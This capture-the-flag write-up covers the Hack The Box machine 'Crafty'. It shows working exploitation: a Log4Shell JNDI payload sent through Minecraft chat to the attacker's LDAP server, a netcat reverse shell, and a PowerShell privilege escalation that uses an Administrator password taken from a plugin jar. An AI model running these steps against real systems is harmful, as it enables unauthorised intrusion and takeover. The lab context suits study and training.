Crafty (Windows | Easy)

machine ip

```
(machine ip)
```

nmap

```
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sC -sV (machine ip)
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-10 14:04 EST
Nmap scan report for (machine ip)
Host is up (0.0090s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://crafty.htb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.57 seconds
```

play.crafty.htb shown on website

log4j exploit

https://github.com/kozmer/log4j-shell-poc/tree/main

can run minecraft without needing an account

https://tlauncher.org/en/

use host ip

```
python3 poc.py --userip (host ip) --lport 9001
```

change /bin/sh in poc.py to cmd.exe cause windows machine

```
┌──(kali㉿kali)-[~/Desktop/log4j-shell-poc]
└─$ python3 poc.py --userip (host ip) --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://(host ip):1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://(host ip):8000/Exploit.class
(machine ip) - - [10/Feb/2024 16:51:32] "GET /Exploit.class HTTP/1.1" 200 -
```

join minecraft server with play.crafty.htb as address

paste and enter output of poc.py in minecraft chat

gets response from listener

```
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [(host ip)] from (UNKNOWN) [(machine ip)] 49681
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\users\svc_minecraft\server>dir
```

```
c:\Users\svc_minecraft\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is C419-63F6

 Directory of c:\Users\svc_minecraft\Desktop

02/05/2024  06:02 AM    <DIR>          .
02/05/2024  06:02 AM    <DIR>          ..
02/09/2024  01:12 PM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,238,723,584 bytes free

c:\Users\svc_minecraft\Desktop>more user.txt
more user.txt
(user flag)
```

user flag

password in .jar file

download to desktop

```
c:\Users\svc_minecraft\server\plugins>more playercounter-1.0-SNAPSHOT.jar
```

next parts need to be run using powershell

```
powershell
```

create powershell credential as Administrator using password found

```
$cred = New-Object System.Management.Automation.PSCredential('crafty\Administrator', $(ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force))
```

run to read root flag from administrator account

```
Start-Process -FilePath "C:\Windows\System32\cmd.exe" -ArgumentList "/c more c:\Users\Administrator\Desktop\root.txt" -Credential $cred
```

```
c:\Users\svc_minecraft\server\plugins>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\svc_minecraft\server\plugins> whoami
whoami
crafty\svc_minecraft
PS C:\Users\svc_minecraft\server\plugins> $cred = New-Object System.Management.Automation.PSCredential('crafty\Administrator', $(ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force))
```

```
$cred = New-Object System.Management.Automation.PSCredential('crafty\Administrator', $(ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force))
PS C:\Users\svc_minecraft\server\plugins> Start-Process -FilePath "C:\Windows\System32\cmd.exe" -ArgumentList "/c more c:\Users\Administrator\Desktop\root.txt" -Credential $cred
Start-Process -FilePath "C:\Windows\System32\cmd.exe" -ArgumentList "/c more c:\Users\Administrator\Desktop\root.txt" -Credential $cred
PS C:\Users\svc_minecraft\server\plugins> (root flag)
```

root flag